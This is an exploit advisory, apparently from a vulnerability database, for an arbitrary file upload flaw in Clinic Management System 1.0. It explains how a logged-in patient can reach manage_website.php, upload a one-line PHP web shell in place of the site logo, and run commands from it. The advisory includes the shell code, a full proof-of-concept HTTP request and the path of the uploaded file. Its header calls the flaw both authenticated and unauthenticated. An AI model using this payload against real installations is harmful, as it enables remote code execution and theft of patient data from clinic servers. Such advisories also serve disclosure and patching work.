Clinic Management System 1.0 Shell Upload

2020.06.05
Credit: BKpatron
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

# Exploit Title: Clinic Management System 1.0 - Authenticated Arbitrary File Upload # Google Dork: N/A # Date: 2020-06-02 # Exploit Author: BKpatron # Vendor Homepage: https://www.sourcecodester.com/php/14243/open-source-clinic-management-system-php-full-source-code.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/Nikhil_B/clinic-full-source-code-with-database_0.zip # Version: v1.0 # Tested on: Win 10 # CVE: N/A # Vulnerability: Clinic Management System version 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file. # vulnerable file : manage_website.php # Details: login to website as patient then access the 'localhost/source%20code/manage_website.php' page, as it does not check for an admin user. change website logo and upload your malicious php file(<?php echo shell_exec($_GET["cmd"]); ?>). if you see this message "Something Went Wrong" You have successfully uploaded the malicious php file. path of your file: http://localhost/source%20code/uploadImage/Logo/your_file.php # Proof of Concept: http://localhost/source%20code/manage_website.php POST /source%20code/manage_website.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------135192786613366 Content-Length: 2539 Referer: http://localhost/source%20code/manage_website.php Cookie: PHPSESSID=qdh5f7kelhhe9uvafveafit5e1 Connection: keep-alive Upgrade-Insecure-Requests: 1 -----------------------------58631544014332: undefined Content-Disposition: form-data; name="title" -----------------------------58631544014332 Content-Disposition: form-data; name="short_title" -----------------------------58631544014332 Content-Disposition: form-data; name="footer" -----------------------------58631544014332 Content-Disposition: form-data; name="currency_code" -----------------------------58631544014332 Content-Disposition: form-data; name="currency_symbol" -----------------------------58631544014332 Content-Disposition: form-data; name="old_website_image" logo for hospital system.jpg -----------------------------58631544014332 Content-Disposition: form-data; name="website_image"; filename="shell.php" Content-Type: application/octet-stream <?php echo shell_exec($_GET["cmd"]); ?>


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